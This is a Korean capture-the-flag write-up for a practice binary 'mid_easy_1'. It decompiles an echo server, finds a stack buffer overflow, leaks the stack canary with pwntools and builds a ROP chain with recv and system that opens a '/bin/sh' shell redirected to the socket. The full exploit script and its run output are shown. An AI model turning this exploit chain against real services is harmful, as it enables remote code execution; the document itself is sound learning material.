>> mid_easy_1 풀이

먼저 ida로 분석한 것은 다음과 같다.

```
    v5 = atoi(a2[1]);
  else
    v5 = 8181;
  dword_804B1BC = socket(2, 1, 0);
  if ( dword_804B1BC == -1 )
  {
    perror("[!] socket Error!");
    exit(1);
  }
  v6 = 2;
  v7 = htons(v5);
  v8 = 0;
  bzero(&v9, 8u);
  v4 = 1;
  setsockopt(dword_804B1BC, 1, 2, &v4, 4u);
  if ( bind(dword_804B1BC, (const struct sockaddr *)&v6, 0x10u) == -1 )
  {
    perror("[!] bind Error!");
    exit(1);
  }
  if ( listen(dword_804B1BC, 1024) == -1 )
  {
    perror("[!] listen Error!");
    exit(1);
  }
  while ( 1 )
  {
    while ( 1 )
    {
      v3 = 16;
      fd = accept(dword_804B1BC, (struct sockaddr *)&v10, (socklen_t *)&v3);
      if ( fd != -1 )
        break;
      perror("[!] accept Error!");
    }
    if ( !fork() )
      break;
    close(fd);
    while ( waitpid(-1, 0, 1) > 0 )
      ;
  }
  SendString_8048B87();
  close(dword_804B1BC);
  close(fd);
  return *MK_FP(__GS__, 20) ^ v11;
}
```

그냥 위에는 소켓을 여는 함수이고, 그 다음 SendString이란 함수를 호출한다.

이 함수를 들여다보면

```
int SendString_8048B87()
{
  int (*v1)(); // [sp+14h] [bp-124h]@1
  int v2; // [sp+18h] [bp-120h]@1
  int v3; // [sp+98h] [bp-A0h]@1
  char v4; // [sp+A0h] [bp-98h]@1
  int v5; // [sp+12Ch] [bp-Ch]@1

  v5 = *MK_FP(__GS__, 20);
  v1 = SendTimeout_804880D;
  sigemptyset((sigset_t *)&v2);
  v3 = 0x20000000;
  if ( sigaction(14, (const struct sigaction *)&v1, (struct sigaction *)&v4) < 0 )
  {
    perror("[!] Sigaction Error!");
    exit(0);
  }
  alarm(5u);
  SendStrange1_8048851();
  MANU_8048A71();
  SengStrange2_8048881();
  return *MK_FP(__GS__, 20) ^ v5;
}
```

다음과 같이 SendStrange1, MANU, SendStrange2라는 함수를 호출하는데,
SendStrange1,2 모두 이상한 글자들을 Send 하는 것이라 별 필요가 없고 MANU를 보도록 한다.

```
int MANU_8048A71()
{
  int MenuValue; // [sp+1Ch] [bp-3Ch]@2 8byte
  char InputValue; // [sp+24h] [bp-34h]@1 40byte
  int v3; // [sp+4Ch] [bp-Ch]@1 12byte

  v3 = *MK_FP(__GS__, 20);
  memset(&InputValue, 0, 0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        SendMessage_80488B1("Wn==============================Wn");
        SendMessage_80488B1("1. EchoWn");
        SendMessage_80488B1("2. Reverse EchoWn");
        SendMessage_80488B1("3. ExitWn");
        SendMessage_80488B1("==============================Wn");
        MenuValue = SelectMenu_804895A();
        if ( MenuValue != 1 )
          break;
        SendMessage_80488B1("Input Your Message : ");
        Recv_8048907(&InputValue, 0x64u);         // 100byte
        SendMessage_80488B1(&InputValue);
      }
      if ( MenuValue != 2 )
        break;
      SendMessage_80488B1("Input Your Message : ");
      Recv_8048907(&InputValue, 0x64u);
      Encrypt_80489C8(&InputValue);
      SendMessage_80488B1(&InputValue);
    }
    if ( MenuValue == 3 )
      break;
    SendMessage_80488B1("Wn[!] Wrong InputWn");
  }
  return *MK_FP(__GS__, 20) ^ v3;
}
```

MANU함수를 보면 취약점이 존재함을 알 수 있다.
위에서 보면 InputValue는 40바이트로 할당되어있는데, Recv_8048907 함수에서는 100byte를 할당받는다(Recv_8048907 함수 안에는 똑같이 recv로 값을 받는다.).
이 함수에서 스택버퍼오버플로우가 발생함을 알 수 있다.

이제 취약점을 찾았으니 gdb로 분석을 해보기로 했다.
이번에 배운대로 pwntools의 기능을 활용해서 풀어보기로 했다.

```
from pwn import *

#context.log_level="debug"

r = remote("127.0.0.1", 8181)
e = ELF('./mid_easy_1')
print e
```

처음에는 이 부분으로만 시작했다. 이러면 mid_easy_1의 ELF 정보가 나올 것이다.

```
kimyoungsu@kimyoungsu-virtual-machine:/mnt/hgfs/vm_shared$ ^C
kimyoungsu@kimyoungsu-virtual-machine:/mnt/hgfs/vm_shared$ python mid_easy_1_exploit.py
[+] Opening connection to 127.0.0.1 on port 8181: Done
[*] '/mnt/hgfs/vm_shared/mid_easy_1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ELF('/mnt/hgfs/vm_shared/mid_easy_1')
[*] Closed connection to 127.0.0.1 port 8181
```

Partial RELRO(GOT overwrite 가능), 스택 canary, NX가 걸려있음을 알 수 있다.
NX가 있으니 쉘코드 문제는 아닌 것 같고 아마도 ROP 문제 같다.

먼저 ROP를 하기 전에 canary를 leak하는 과정이 필요하니 leak할 수 있는 곳을 찾아보았는데 아까 취약하다고 여겼던 Recv_8048907을 이용하면 될 것 같다. canary는 InputValue 바로 다음에 위치할 것이니, InputValue 40byte를 채우면 아마도 그 뒤에도 leak이 될 것 같다.

```
from pwn import *

#context.log_level="debug"

r = remote("127.0.0.1", 8181)
e = ELF('./mid_easy_1')
print e

print "[*] mid_easy_1 Exploit by 34t3rNULL"

print "[*] Canary Leak"
r.recvuntil("Select menu >")
r.sendline("1")
r.recvuntil("Input Your Message : ")
r.send("A"*40)
print hexdump(r.recv(1024))
```

코드는 다음과 같이 짰었다.
이러면 아마도 leak된 값이 나오지 않을까? 하고 봤다.

```
kimyoungsu@kimyoungsu-virtual-machine:/mnt/hgfs/vm_shared$ python sample.py
[+] Opening connection to 127.0.0.1 on port 8181: Done
[*] '/mnt/hgfs/vm_shared/mid_easy_1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ELF('/mnt/hgfs/vm_shared/mid_easy_1')
[*] mid_easy_1 Exploit by 34t3rNULL
[*] Canary Leak
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  |AAAA|AAAA|AAAA|AAAA|
*
00000020  41 41 41 41  41 41 41 41                           |AAAA|AAAA|
00000028
[*] Closed connection to 127.0.0.1 port 8181
```

???? 안 되었다. 그래서 41바이트를 넣고 해보기로 했다.

```
kimyoungsu@kimyoungsu-virtual-machine:/mnt/hgfs/vm_shared$ python sample.py
[+] Opening connection to 127.0.0.1 on port 8181: Done
[*] '/mnt/hgfs/vm_shared/mid_easy_1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ELF('/mnt/hgfs/vm_shared/mid_easy_1')
[*] mid_easy_1 Exploit by 34t3rNULL
[*] Canary Leak
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  |AAAA|AAAA|AAAA|AAAA|
*
00000020  41 41 41 41  41 41 41 41  41 46 dc d5              |AAAA|AAAA|AF··|
0000002c
[*] Closed connection to 127.0.0.1 port 8181
```

41바이트를 넣었을 때에야 leak이 된 것을 확인할 수 있다. 아마도 널 바이트 때문에 40넣었을 때 끊긴 것 같다. 그러면 마지막 바이트에 널을 붙이면 canary leak은 성공적일 것 같다.

이제 rop를 해보기로 했다. elf가 있어서인지 엄청 쉽게 rop를 짤 수 있었다.
먼저 ppppr 가젯을 구하기 위해 objdump를 이용하기로 했다.
objdump -d ./mid_easy_1 | grep “ret” -B4를 치니깐

```
8048eec:    5b                      pop    %ebx
8048eed:    5e                      pop    %esi
8048eee:    5f                      pop    %edi
8048eef:    5d                      pop    %ebp
8048ef0:    c3                      ret
```

굳! 0x8048eec라는 곳이 ppppr 가젯임을 알 수 있다.
rop 구문 짜는 것은 쉬웠다.

```python
#libc_name = libc-2.23.so
recv_plt = e.plt['recv']
recv_got = e.got['recv']
send_plt = e.plt['send']
send_got = e.got['send']
system_plt = e.plt['system']
bss = e.bss()
ppppr = 0x8048eec

print "[*] recv addr : " + hex(recv_plt)
print "[*] send addr : " + hex(send_plt)
print "[*] system addr : " + hex(system_plt)

payload = "A" * 40
payload += p32(canary)
payload += "A" * 12

payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len("/bin/sh") + 1)
payload += p32(0)

payload += p32(system_plt)
payload += "ABCD"
payload += p32(bss)

r.recvuntil("Select menu >")
r.sendline("1")
r.recvuntil("Input Your Message : ")
r.sendline(payload)

r.recvuntil("Select menu >")
r.sendline("3")
r.recv(1024)
sleep(0.1)
r.sendline("/bin/sh")

r.interactive()
```

위와 같이 짰는데 recv로 bss에 /bin/sh 공간을 할당해주고 system 함수로 /bin/sh를 실행시키는 방향으로 짰다. 아무튼 이렇게 코드를 짜고 실행을 시켰더니

;;;; 서버에서 쉘이 떴다. 경석이에게 도움을 받았는데 /bin/sh 0>&4 1>&4를 사용하면 된다고 한다. 왜 그런지는 파일디스크립터를 검색해보라고 했는데

일단 /bin/sh 0>&4 1>&4는 리다이렉션이라고 한다. fork로 자식 프로세스를 만들면 부모프로세스의 fd array가 그대로 상속된다고 한다. 내가 이해한 바로는 mid_easy_1을 실행시키면 fork로 자식프로세스를 만들게 되고, mid_easy_1의 fd array를 그대로 이어받으니 나는 4번 fd를 가지게 된다. 하지만 내가 쉘코드를 실행시키면 내 fd에서 실행되는 것이 아닌 mid_easy_1의 자식 프로세스에서 실행되는 것이니 아마도 내 fd인 4번으로 리다이렉트를 시켜야 할 것 같다.

그래서 /bin/sh 0>&4 1>&4는 자식프로세스의 stdin, stdout을 4번인 나에게로 넘기는 것이 되겠고, 이 코드를 실행시키면 mid_easy_1의 자식 프로세스를 간접적으로 조작할 수 있게 되는 것 같다.

암튼 /bin/sh 0>&4 1>&4로 바꾼 뒤 실행을 시키면

익스에 성공한다.